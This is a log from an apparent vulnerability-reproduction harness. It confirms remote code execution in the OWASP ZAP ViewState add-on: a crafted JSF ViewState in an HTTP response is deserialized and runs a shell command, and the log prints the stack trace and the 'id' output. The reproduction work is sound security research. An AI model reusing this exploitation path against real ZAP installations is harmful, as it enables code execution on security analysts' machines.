2026-07-05T07:23:33.054473494Z main ERROR Log4j API could not find a logging provider.
Defaulting ZAP install dir to /home/vscode/.gradle/caches/modules-2/files-2.1/org.zaproxy/zap/2.17.0/fda340fc4d7ec417dadd3c532b5c97f36e186d13
[vuln-2] tcp_response_bytes=635
[vuln-2] response_body_contains_jsf=true
[vuln-2] real_HttpMessage_response_body_length=482
[vuln-2] factory=org.zaproxy.zap.extension.viewstate.ExtensionHttpPanelViewStateView$ResponseSplitBodyViewStateViewFactory
[vuln-2] view=org.zaproxy.zap.extension.viewstate.HttpPanelViewStateView
[vuln-2] view_loaded_from=file:/data/pruva/runs/524a9a59-ea45-4e2d-8576-15b9dac49e83/bundle/repro/build_product_path/worktrees/vulnerable/addOns/viewstate/build/zapAddOn/bin/viewstate-alpha-4.zap
[vuln-2] model=org.zaproxy.zap.extension.viewstate.ViewStateModel
ViewStateModel.loaded_from=file:/data/pruva/runs/524a9a59-ea45-4e2d-8576-15b9dac49e83/bundle/repro/build_product_path/worktrees/vulnerable/addOns/viewstate/build/zapAddOn/bin/viewstate-alpha-4.zap
ViewStateModel.param_count=3
ViewStateModel.param name=__VIEWSTATE type=ASP
ViewStateModel.param name=__VIEWSTATEFIELDCOUNT type=ASP
ViewStateModel.param name=javax.faces.ViewState type=JSF
ViewStateModel.has_jsf_registration=true
[vuln-2] invoking real HttpPanelViewModel.setMessage(HttpMessage)
[vuln-2] marker_exists=true
[vuln-2] rce_output_exists=true
[vuln-2] marker_content_begin
DESERIALIZATION_RCE_CONFIRMED
command=id > '/data/pruva/runs/524a9a59-ea45-4e2d-8576-15b9dac49e83/bundle/repro/artifacts/vuln_rce_output_2.txt'; echo RCE_VIA_ZAP_VIEWSTATE_PRODUCT_PATH >> '/data/pruva/runs/524a9a59-ea45-4e2d-8576-15b9dac49e83/bundle/repro/artifacts/vuln_rce_output_2.txt'
process_exit=0
id: cannot find name for group ID 969

runtime_stacktrace_begin
  at java.base/java.lang.Thread.getStackTrace(Thread.java:1619)
  at EvilPayload.readObject(EvilPayload.java:33)
  at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
  at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
  at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
  at java.base/java.lang.reflect.Method.invoke(Method.java:569)
  at java.base/java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1100)
  at java.base/java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2423)
  at java.base/java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2257)
  at java.base/java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1733)
  at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:509)
  at java.base/java.io.ObjectInputStream.readObject(ObjectInputStream.java:467)
  at org.zaproxy.zap.extension.viewstate.zap.utils.JSFViewState.decode(JSFViewState.java:92)
  at org.zaproxy.zap.extension.viewstate.zap.utils.JSFViewState.decode(JSFViewState.java:76)
  at org.zaproxy.zap.extension.viewstate.zap.utils.ViewState.getDecodedValue(ViewState.java:64)
  at org.zaproxy.zap.extension.viewstate.ViewStateModel.getData(ViewStateModel.java:183)
  at org.zaproxy.zap.extension.viewstate.HttpPanelViewStateView.dataChanged(HttpPanelViewStateView.java:189)
  at org.zaproxy.zap.extension.httppanel.view.DefaultHttpPanelViewModel.notifyAllListeners(DefaultHttpPanelViewModel.java:74)
  at org.zaproxy.zap.extension.httppanel.view.DefaultHttpPanelViewModel.fireDataChanged(DefaultHttpPanelViewModel.java:68)
  at org.zaproxy.zap.extension.httppanel.view.DefaultHttpPanelViewModel.setMessage(DefaultHttpPanelViewModel.java:42)
  at org.zaproxy.zap.extension.httppanel.view.impl.models.http.AbstractHttpByteHttpPanelViewModel.setMessage(AbstractHttpByteHttpPanelViewModel.java:34)
  at ProductPathHarness.main(ProductPathHarness.java:121)
runtime_stacktrace_end
[vuln-2] marker_content_end
[vuln-2] rce_output_begin
uid=1000(vscode) gid=1000(vscode) groups=1000(vscode),969(969)
RCE_VIA_ZAP_VIEWSTATE_PRODUCT_PATH
[vuln-2] rce_output_end